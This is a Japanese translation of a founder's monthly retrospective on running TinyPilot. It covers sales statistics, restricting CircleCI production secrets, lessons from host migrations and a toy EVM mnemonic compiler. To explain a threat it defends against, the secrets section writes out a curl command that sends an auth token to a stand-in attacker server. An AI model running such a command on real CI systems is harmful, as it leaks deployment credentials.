TinyPilot: Month 45

Michael Lynch

TinyPilot:45カ月目

一言まとめ

デプロイのあり方を改めて真剣に考えた1カ月でした。

ハイライト

  • TinyPilotチームと連携し、ワークフローを妨げることなくデプロイ用シークレットへのアクセスを制限しました。
  • プラットフォーム間でサービスを移行する際のダウンタイムを抑えるため、失敗から学んで手順を改善しました。
  • 初めてコンパイラを書きました。といっても、ごくごくシンプルなものですが。

目標の達成度

毎月初めに、その月に達成したいことを宣言しています。結果は次のとおりでした。

TinyPilotのリリースドキュメントの不足を埋める

  • 結果:前回のリリースで見つかった不足箇所を補完しました。
  • 評価:A

3月のTinyPilot Proのリリースは、私が直接リリース作業に一切関わらなかった初めてのリリースでした。リリース自体は順調に進みましたが、次に何をすべきかがチームにとって不明瞭な場面がありました。

開発チームとサポートエンジニアリングチームそれぞれと振り返りを行い、リリースについてのフィードバックを集めました。そこで多くの有用な意見が集まり、遭遇したつまずきを解消するため、内部ドキュメントやプレイブックを改訂しました。

2023年分の確定申告を完了する

  • 結果:すべての税務書類を期限内に提出しました。
  • 評価:A

今年は初めて夫婦合算で申告したことや、いくつかの税務書類を待つ必要があったことで手続きが複雑でしたが、すべて無事に提出できました。

TinyPilotの統計

指標2024年2月2024年3月増減
ユニーク訪問者数13,0009,100-3,900 (-30%)
販売売上$82,517.42$107,809.83+$25,292.41 (+31%)
エンタープライズ向けサブスクリプション$290.70$290.700
ロイヤリティ$3,373.65$2,442.12-$931.53 (-28%)
総売上$86,181.77$110,542.65+$24,360.88 (+28%)
利益$23,599.09$3,193.73-$20,405.36 (-86%)

3月はTinyPilot史上、販売売上が最も高かった月となり、従来の記録を600ドル弱上回りました。1カ月単位で見ると利益は下がっていますが、より意味のある指標は3カ月平均であり、そちらは好調に推移しています。

訪問者数は先月より減少していますが、これは2月に6年目の振り返り記事の影響で訪問が異常に急増した反動です。

TinyPilotの本番シークレットへのアクセスを厳格化する

ここ数カ月、TinyPilotのリリースプロセスをより自動化し、私への依存を減らすための改善を進めてきました。

リリースのワークフローを見直す中で、チーム内で本番シークレットにアクセスできる人数が多すぎることに気づきました。本番シークレットには、ウェブサイトやTinyPilotアプリケーションの新バージョンを公開するための認証トークンなどが含まれます。

私たちは小さなチームなので、この場合の「多すぎる」とは5人がアクセスできる状態を指し、本来は1人で十分でした。つまり、4人が本来不要な本番シークレットにアクセスできていたことになります。

TinyPilotのリポジトリの多くは「push on green」、つまりCircleCI(私たちが使っている継続的インテグレーションサービス)の自動テストを通過すれば、すべてのコード変更をそのまま本番へプッシュする運用です。

シークレットはCircleCIの環境変数として保存していました。当初は、環境変数は書き込み専用で、保存後に値を読み取ることはできないため、問題ないと考えていました。

CircleCIの管理画面では環境変数の値は一部しか表示されず、表示できるのもCircleCIの管理者のみです。なお、ここではダミーの値を表示しています。

シークレットの保護についてより真剣に考えるようになって、CircleCIのウェブUIが示す見かけとは裏腹に、実際には5人のチームメンバー全員が事実上環境変数にアクセスできることに気づきました。悪意のあるメンバーであれば、次の2つの方法のいずれかでシークレットを抜き出すことが可能です。

  1. コードリポジトリで新しいブランチを作成し、CircleCIの設定ファイルを変更して、curl http://attacker-server.example.com/exfiltrate?token=$AUTH_TOKENのように、自分が管理する外部サーバーへシークレットを送信する
  2. 任意のジョブでCircleCIにSSH接続し、コマンドラインでecho $AUTH_TOKENを実行する

(1)はある程度検出可能ではありましたが、私たちは一度もチェックしていませんでした。(2)は検出自体が不可能でした。CircleCIはSSHセッションをログに残さないからです。

この攻撃はTinyPilotチーム内部からでなければ成立しません。外部のコントリビューターはCircleCIの環境変数に一切アクセスできないためです。

アクセスを絞り込む方法を調べたところ、CircleCIのドキュメントでは、機密性の高いシークレットは「コンテキスト(contexts)」に保存することが推奨されていました。コンテキストも環境変数ですが、より細かいアクセス制御が可能です。

しかし、セキュリティコンテキストでは特定の人だけにアクセスを制限することしかできませんでした。従来のワークフローを維持したまま全員にシークレットへのアクセスを残せば、結局は何も解決しません。逆に、信頼できる一部のメンバーだけがすべてのデプロイを開始しなければならないようにすれば、大きな摩擦が生じてしまいます。

CircleCIのサポートに問い合わせたところ、ちょうど私たちの課題を解決する機能をリリース予定だとのことでした。2週間後、CircleCIはexpression-based context restrictions(式ベースのコンテキスト制限)をリリースしました。まさに私たちの問題を完璧に解決するものでした。

CircleCIの式ベースの制限では、単なるユーザーの許可リストを超えて、コンテキストにさまざまな制限を加えられるようになりました。特定のブランチに限定したり、SSHが有効な場合にアクセスを無効化したりできます。最終的に、次のような式を設定しました。

pipeline.git.branch == "master" and not job.ssh.enabled

この式により、上記(1)の攻撃は緩和されます。悪意のあるメンバーがブランチを使ってシークレットを抜き出そうとしても、そのブランチではシークレットにアクセスできないからです。

また(2)の攻撃についても、SSHアクセスを有効にして開始されたCircleCIジョブではシークレット自体が利用できなくなるため、緩和されます。

私たちのmasterブランチでは、すべての変更に少なくとも1人の承認が必要なので、この仕組みでも2人のメンバーが共謀すれば攻撃は成立し得ます。一方の不正なメンバーがシークレットを抜き出すコード変更を仕込み、共犯者がそれを承認するという手口です。ただし、この攻撃は非常に目立ちます。変更は私たちが頻繁に作業するファイルに残り、誰がそれを仕込んだのか明確な監査証跡が残るからです。

全体として、CircleCIの式ベースのコンテキスト制限には満足しています。CIが本番シークレットにアクセスできるチームで活動しているなら、必要のないメンバーまでシークレットにアクセスできていないか、ぜひ一度見直してみることをおすすめします。

ホスト間でサービスを移行する手順を改善する

TinyPilotを始めた当初は、Google Cloud PlatformやAmazon Web Servicesといった大手プロバイダーにサービスをホストすることが多くありました。ここ4年ほどは、NetlifyやFly.ioのような小規模なベンダーを好んで使うようになっています。

TinyPilotのサービスの大半はすでに小規模なホスティングプラットフォームで動いていますが、立ち上げ当初に設定したまま移行していなかったサービスが2つ残っていました。そこで、集約することにしました。

1つ目の移行は少し手間取りましたが、そこで得た教訓を活かして2つ目はよりスムーズに進めることができました。

FirebaseからNetlifyへの移行(手こずったケース)

TinyPilotのウェブサイトは単なる静的サイトなので、どこでホストしても構いません。当初は2020年当時に何でもFirebaseで運用していたためFirebase Hostingを使っていましたが、特に問題はありませんでした。しかし、セキュリティコンテキストを中心にデプロイフローを再構築するにあたり、静的サイトのホストとして現在好んで使っているNetlifyへ移行する良い機会だと考えました。

単純な移行に思えました。同期すべきデータベースもありません。Netlifyでサイトを公開し、DNSレコードを新しいホストに向ければよいだけです。

そう思っていました。

Netlifyへ公開し、tinypilotkvm.comのDNSレコードを更新して、サイトにアクセスしてみると、TLSエラーが表示されました。

Firefoxでtinypilotkvm.comにアクセスした際のスクリーンショット。ブラウザに『警告:潜在的なセキュリティリスクあり』と表示されている

DNSレコードを更新した直後にTinyPilotのウェブサイトにアクセスすると、TLSエラーが表示されました。

これは困りました。ブラウザに「クレジットカード情報を盗まれるかもしれません」と警告された直後に、そのサイトで買い物をしたいと思う人はいません。

さらに悪いことに、この変更を行ったのは木曜日の午前9時30分(米国東部時間)で、ちょうど有料のお客様からのアクセスが最も多い時間帯でした。

Netlify側でTLS証明書がまだ生成されていないのだろうかと考えました。TLSエラーを確認してみると、ブラウザが示していたのはFirebaseのTLS証明書に関するエラーでした。あれ? Firebaseは古い証明書で従来どおり古いサイトを配信し続けるのではないのでしょうか。

私の頭の中では、訪問者はDNSサーバーが持つ情報の鮮度によって2つのグループに分かれるはずでした。

  1. 古いFirebaseのIPアドレスを保持しているDNSサーバーに問い合わせた人 -> 私がDNSを更新する前と同様に、古いFirebase版が表示される
  2. 新しいNetlifyのIPアドレスを保持しているDNSサーバーに問い合わせた人 -> 新しいNetlify版が表示される

今でも、なぜFirebaseの証明書エラーが表示されたのか理解できていません。考えられる唯一の説明は、FirebaseがDNSの変更を検知して、関連するDNSレコードが変わると即座に証明書を無効化するというものです。しかし、Firebaseの管理ダッシュボードでは証明書は依然として有効と表示されていました。

回避策として、Firebase側で訪問者を前日に新しいサイト用に用意していたステージングドメインnetlify-preview.tinypilotkvm.comへリダイレクトするように設定しました。これでTLSエラーは解消されました。ただ、netlify-previewというステージングドメイン名は、顧客に「何かおかしい」と強く印象づけてしまうため、もう少し無難な名前にしておけばよかったと後悔しています。とはいえ、TLSエラーが表示されるよりはましでした。

その後丸一日、古いFirebaseサイトにもまだトラフィックが流れていましたが、数日かけて徐々にゼロになっていきました。1週間後にFirebaseサイトを停止しました。

AWSからFly.ioへの移行(スムーズだったケース)

TinyPilotでは、ユーザーから診断ログを収集するためにLogPasteサーバーを使っています。シンプルなGo製のアプリケーションで、GoのサービスはFly.ioで動かすのが私の好みです。しかし、TinyPilotのLogPasteサーバーはAWS Lightsailで動いていたため、LightsailからFly.ioへ移行することにしました。

LogPasteの移行は、SQLiteデータベースがある分、TinyPilotのウェブサイトの移行よりは少し複雑でした。一方で、LogPasteサーバーが数日ダウンしても致命的ではないため、リスクは低い移行でもありました。

移行の前日、logs.tinypilotkvm.comのDNSレコードのTTLを1分に下げました。DNSサーバーは必ずしもTTLを尊重するわけではありませんが、尊重するものについてはキャッシュを抑えられるだろうと考えました。

また、Fly.io上にLogPasteのステージング版をlogs2.tinypilotkvm.comというドメイン名でデプロイしました。そうすれば、TinyPilotのウェブサイトのときのようにリダイレクトでごまかす必要が出ても、ユーザーに提示してそれほど違和感のないURLを用意しておけます。

さらに、古いLightsail版から新しいFly.io版へデータを移行するためのスクリプトも用意しました。Amazon S3バケットから本番データベースをダウンロードし、新しいFly.ioサーバーの背後にあるストレージバケットへアップロードするというシンプルなbashスクリプトです。

移行当日は、朝7時に起きてすぐに移行を実行しました。そうすれば、仮に一時的な障害が発生しても影響を受ける人数を少しでも減らせると考えたからです。

幸い、移行はスムーズに進みました。私の環境では、すべてのDNSサーバーが1分というTTLを尊重していたようで、切り替え直後からFly.ioサーバーのログにlogs.tinypilotkvm.comへのリクエストが記録され始めました。

Lightsail版はさらに1週間稼働させたままにし、トラフィックが流れていないことを確認してから削除しました。

ホスト間でサービスを移行する際の一般的な戦略

注意:これはサービス移行における最適な戦略ではないかもしれません。証明書エラーを最小限に抑えるためのより良い方法があるはずですが、少なくとも以前の私のやり方よりは改善されています。

次回サービスをホスト間で移行する際は、今月学んだ次の手順に従うつもりです。

一般的な例として、example.comというURLでホストしているサービスをプラットフォームAからプラットフォームBへ移行する場合を考えてみます。

準備日

移行を予定する1〜2日前に、次の手順を行います。

  1. サービスをプラットフォームBにデプロイします。
  2. プラットフォームBで、サブドメイン配下にサービスの証明書を作成します。
    • 通常、ホスティングプラットフォームの「カスタムドメインを追加」といった設定項目にあります。
    • もしもの際に顧客の目に触れても違和感が少ないサブドメインを選んでください。例えばwww2.example.comweb.example.comなどです。
    • insecure-staging.example.comのように、エンドユーザーに不安を与える名前は避けてください。
  3. 新しいサブドメインのDNSレコードをプラットフォームBに向けて追加します。
  4. 新しいサブドメイン経由でプラットフォームBにブラウザからアクセスし、TLSエラーが出ないことを確認します。
  5. 本番のexample.comのDNSレコードのTTLを1〜5分といった短い値に下げます。
  6. プラットフォームBで、本番のexample.comドメイン用の証明書を生成します。

移行日

移行当日に、次の手順を行います。

  1. トラフィックが少ない時間帯を選びます。
    • チームメンバーのサポートが必要になる可能性がある場合は、移行について周知し、対応できるようにしておきます。
  2. example.comのDNSレコードをプラットフォームAではなくプラットフォームBを指すように更新します。
  3. メインのexample.comのURLからサービスに引き続きアクセスできることを確認します。

DNS変更後にサービスへアクセスした際にプラットフォームAのTLSエラーが表示される場合:

  • 一時的な回避策として、プラットフォームAでトラフィックを準備日に用意したステージング用のサブドメインへリダイレクトするように設定します。
  • digを使って、自分のPCから見たDNSレコードの有効期限を確認し、期限切れ後にTLSエラーが解消するか確認します。

旧サーバーの廃止

移行から少なくとも24時間経過した後に、次の手順を行います。

  1. プラットフォームAへのトラフィックが止まったことを確認します。
  2. プラットフォームA上のサーバーを廃止します。
  3. プラットフォームAがなくてもサービスにアクセスできることを確認します。
  4. 本番DNSレコードのTTLを60分など適切な値に戻します。
  5. DNSレコードからステージング用のサブドメインを削除します。

サイドプロジェクト

シンプルなコンパイラを書く

Zigやインタプリタ、Ethereumについてより深く学ぶため、ここ数カ月、Ethereum仮想マシンのZig実装であるeth-zvmに取り組んできました。

eth-zvmのパフォーマンスベンチマークは書いていましたが、そこで実行していたプログラムは次のようなEthereumバイトコードの塊でしかありませんでした。

60016000526001601ff3

このバイトコードは編集が困難です。テスト内容を変更したいときは、バイトコードを人間が読める形式に逆コンパイルし、修正を加えてから、再び生のバイト列にコンパイルし直す必要がありました。

Ethereumにはバイトコードを人間が読める形で表記するニーモニック形式があり、上記のバイトコードのニーモニック表現は次のようになります。

PUSH1 0x01
PUSH1 0x00
MSTORE
PUSH1 0x01
PUSH1 0x1f
RETURN

依然として低レベルではありますが、生のバイト列よりは理解しやすくなります。

テストをバイトコードではなくニーモニック形式で保存したいと考えました。ニーモニックからバイトコードへのコンパイラを探しましたが、コマンドラインですぐに使えるものは見つかりませんでした。

それほど難しい作業ではなさそうだったので、自分でニーモニックからバイトコードへのコンパイラを書くことにしました。

コンパイラとしては、私のものは考えられる限り最もシンプルな部類です。入力トークンと出力バイトはほぼ1対1で対応しています。

非常にシンプルなプログラムの例を挙げます。

$ echo 'RETURN' | ./mnc /dev/stdin /dev/stdout
f3

オペコードRETURNの値0xf3なので、出力されるバイトコードはf3だけです。

引数を取るPUSH1のようなオペコードでは、少し複雑になります。PUSH1は1バイトをスタックにプッシュします。

$ echo 'PUSH1 0x42' | ./mnc /dev/stdin /dev/stdout
6042

PUSH32を使って32バイトの値をスタックにプッシュすることもできます。

$ echo 'PUSH32 0x42' | ./mnc /dev/stdin /dev/stdout
7f0000000000000000000000000000000000000000000000000000000000000042

インラインコメントにも対応したので、先ほどのサンプルアプリケーションをコメント付きで書くと次のようになります。

$ tempfile="$(mktemp)" && \
  cat << EOF > "${tempfile}"
// Store 0x01 in memory as a 32-byte word.
PUSH1 0x01
PUSH1 0x00
MSTORE

// Return 1 byte from offset 31 in memory.
PUSH1 0x01
PUSH1 0x1f
RETURN
EOF

$ ./mnc "${tempfile}" /dev/stdout
60016000526001601ff3

現在、eth-zvmのベンチマークサンプルは人間が読めるニーモニック形式で保存し、ベンチマーク実行時に必要に応じてバイトコードへコンパイルするようにしています。

たとえシンプルなものでも、コンパイラを書くのは楽しい経験でした。現在のコンパイラはPUSH1 RETURNのような意味的に誤ったコードも受け付けてしまいますが、私の用途には十分です。このプロジェクトは、プログラミング言語がより深いレベルでどのように動いているのかを学ぶ楽しい手段であり続けています。

まとめ

今月できたこと

学んだこと

  • CIの環境変数にシークレットを保存するのは良い方法ですが、チームの人数が増えるほどアクセス制限を強化すべきです。
  • プラットフォーム間でサービスを移行する際は、厳密な手順を踏みましょう。
    • 業務に支障が出ず、かつ失敗してもリカバリーできる時間帯を選びます。
    • 移行の少なくとも1日前にはDNSのTTLを下げておきます。
    • 移行前に新しいTLS証明書をあらかじめ用意しておきます。
    • 万が一の際にエンドユーザーの目に触れても許容できるステージング用サブドメイン名を選んでおきます。

来月の目標

  • TinyPilotの新たな販売代理店や販売チャネル候補3社と話を始めます。
  • TinyPilotの新機能2つの開発を監督します。
  • 2024年残りの生産計画についてメーカーと調整します。

原文は Michael Lynch により に公開されました。

この記事は「muse-spark-1.2-contributor」を使用して翻訳されました。